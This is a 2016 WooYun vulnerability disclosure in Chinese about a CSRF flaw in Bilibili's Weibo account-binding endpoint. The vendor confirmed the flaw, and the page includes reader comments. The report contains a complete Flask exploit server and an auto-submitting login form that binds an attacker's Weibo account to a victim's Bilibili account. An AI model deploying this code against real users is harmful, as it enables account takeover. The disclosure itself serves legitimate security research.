当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0169000

漏洞标题:点我的链接我就可能会进入你的B站账号

相关厂商:bilibili.com

漏洞作者: zhchbin

提交时间:2016-01-11 10:26

修复时间:2016-02-22 16:48

公开时间:2016-02-22 16:48

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-11: 细节已通知厂商并且等待厂商处理中
2016-01-11: 厂商已经确认,细节仅向厂商公开
2016-01-21: 细节向核心白帽子及相关领域专家公开
2016-01-31: 细节向普通白帽子公开
2016-02-10: 细节向实习白帽子公开
2016-02-22: 细节向公众公开

简要描述:

感谢@呆子不开口!思路好赞的!我来写个详细点的利用过程。

详细说明:

在B站上,用户是允许绑定微博登陆的,然而绑定的接口是可以CSRF的,也就是说当用户登录后,点击我的链接,我就可以调用该接口完成绑定,绑定后就可以用我使用的微博进行登录了。具体接口如下:

https://account.bilibili.com/login?sns=weibo


问题的关键点在于此接口的CSRF,而另外一个难题就是如何在用户的浏览器上登录我的微博了。
0x01 注册一个微博,然后用微博授权给bilibili。要先授权的原因是在伟哥的漏洞中已经提到过,这里引用并修改一下:“新浪微博的授权有如下特点,如果当前登陆的微博曾经授权过bilibili,那么就会自动绑定成功”
0x02 用一个隐藏的iframe在用户的浏览器上登录我们指定的微博。这里使用到的接口有个问题需要注意,就是请求参数中password_4555和vk=4555_a3b5_1907935541,这两个参数是在http://login.weibo.cn/中生成的,有一定的时效性,后端会校验是否合法,因此我们需要动态生成登录的表单。我写了一个简单的flask接口,在服务端请求后提取出来生成表单,然后前端自动提交即可完成登录。

POST /login/ HTTP/1.1
Host: login.weibo.cn
Content-Type: application/x-www-form-urlencoded
mobile=weibo_username&password_4555=weibo_password&remember=on&backURL=http%253A%252F%252Fweibo.cn%252F&backTitle=%E5%BE%AE%E5%8D%9A&tryCount=&vk=4555_a3b5_1907935541&submit=%E7%99%BB%E5%BD%95


0x03 登录微博后前端就可以用Image加载指定的URL,完成绑定了。如果用户先绑定了微博,需要先解绑,然后再绑定,具体过程看漏洞证明中的代码。
0x04 用户访问完以上的页面后,我们就可以利用上面的微博账号登录到用户的bilibili账号了。

漏洞证明:

我直接给出我写个一个flask程序,依赖flask和beautifulsoup,就不在我自己的主机上搭测试环境了。

$ pip install flask beautifulsoup && python server.py


server.py,自己改一下weibo_username和weibo_password吧。

# -*- coding: utf-8 -*-
import requests
import re
from flask import Flask
from BeautifulSoup import BeautifulSoup
app = Flask(__name__)
login_weibo_form = u'''
<form action="http://login.weibo.cn/login/" method="post">
<input type="text" name="mobile" value="weibo_username"/>
<input type="text" name="%s" value="weibo_password"/>
<input type="text" name="remember" value="on"/>
<input type="text" name="backURL" value="http://weibo.cn/"/>
<input type="text" name="backTitle" value="微博"/>
<input type="text" name="tryCount" value=""/>
<input type="text" name="vk" value="%s"/>
<input type="submit" name="submit" value="登录" id="submit_btn"/>
<script> document.getElementById('submit_btn').click(); </script>
</form>
'''
@app.route('/login_weibo', methods=['GET'])
def login_weibo():
res = requests.get('http://login.weibo.cn/login/')
soup = BeautifulSoup(res.text)
password_name = soup.find('input', type='password')['name']
vk_value = soup.find('input', {'name': 'vk'})['value']
return login_weibo_form % (password_name, vk_value)
csrf_bind_weibo = '''
<iframe src="/login_weibo" sandbox="allow-forms allow-scripts"></iframe>
<script>
function unbind() {
var img = new Image();
img.src = "https://account.bilibili.com/site/unbind?sns=weibo";
}
function bind() {
var img = new Image();
img.src = 'https://account.bilibili.com/login?sns=weibo';
}
setTimeout(function() {
unbind();
setTimeout(function() {
bind();
}, 1000);
}, 2000);
</script>
'''
@app.route('/', methods=['GET'])
def steal_bilibili():
return csrf_bind_weibo
if __name__ == '__main__':
app.run(host="0.0.0.0", port=80, debug=True)


运行后访问页面,你就会发现:

20160110212719.png


20160110212855.png

修复方案:

修复绑定接口的CSRF。

版权声明:转载请注明来源 zhchbin@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2016-01-11 20:08

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

评价

  1. 2016-01-11 11:03 | autO_pw ( 路人 | Rank:13 漏洞数:5 )

    说好的链接呢

  2. 2016-01-11 11:06 | f4ckbaidu ( 普通白帽子 | Rank:223 漏洞数:28 | 开发真是日了狗了)

    啊♂乖乖站好!

  3. 2016-01-11 12:02 | von ( 路人 | Rank:2 漏洞数:1 | 一个帅字贯穿了我的一生~)

    看这个主题就感觉很厉害,手动滑稽

  4. 2016-01-11 14:21 | SH0X8001 ( 路人 | Rank:17 漏洞数:5 | 你猜)

    说好的链接呢

  5. 2016-01-11 20:25 | zhchbin ( 普通白帽子 | Rank:113 漏洞数:24 | 要走得再远一些!|但行好事,不问前程)

    @autO_pw @SH0X8001 发了会被打的。 @f4ckbaidu 叔叔,我们不约。 @von 然而rank都挺低,不过过程能学到不少。

  6. 2016-01-12 00:59 | 呆子不开口 ( 普通白帽子 | Rank:370 漏洞数:34 | 求各种兼职)

    @zhchbin 站短我用的哪一个

  7. 2016-01-12 09:39 | phantom0307 ( 普通白帽子 | Rank:131 漏洞数:39 | Night time sharpensHeightens each sens...)

    洞主竟然连B站都不放过~~

  8. 2016-02-01 12:46 | 川川 ( 实习白帽子 | Rank:75 漏洞数:30 | 今天我刷屏)

    请用户安装了python后,下载server.py,然后运行server.py,然后再悄悄的点一下我的链接........你都让用户执行任意程序了,还来玩csrf?这就好比拿到了服务器权限,我非要执行一个反射xss,来证明危害

  9. 2016-02-01 12:52 | zhchbin ( 普通白帽子 | Rank:113 漏洞数:24 | 要走得再远一些!|但行好事,不问前程)

    @川川 确定看懂了这个漏洞吗?

  10. 2016-02-01 12:59 | zhchbin ( 普通白帽子 | Rank:113 漏洞数:24 | 要走得再远一些!|但行好事,不问前程)

    @川川 给出的python程序是攻击者的服务器,可能是我没写清楚导致误解了,我的错。一句话描述这个漏洞:用户访问了攻击者提供的链接后,攻击者的微博绑定到了用户的B站账号中。

  11. 2016-02-01 14:16 | 川川 ( 实习白帽子 | Rank:75 漏洞数:30 | 今天我刷屏)

    哦,我的错,理解错了

  12. 2016-02-03 14:16 | Adra1n ( 普通白帽子 | Rank:441 漏洞数:69 )

    咋过的验证码?

  13. 2016-02-03 14:44 | zhchbin ( 普通白帽子 | Rank:113 漏洞数:24 | 要走得再远一些!|但行好事,不问前程)

    @Adra1n 之前是没有验证码的,想必新浪微博的人也看到这个问题了。

  14. 2016-02-03 14:45 | 呆子不开口 ( 普通白帽子 | Rank:370 漏洞数:34 | 求各种兼职)

    @zhchbin 还有更简单的自动登陆新浪的方式,你这个有点粗暴了

  15. 2016-02-03 15:11 | zhchbin ( 普通白帽子 | Rank:113 漏洞数:24 | 要走得再远一些!|但行好事,不问前程)

    @呆子不开口 玄机难道是藏在SSO验证的过程中?等有空去研究一下那个过程,还是有其他?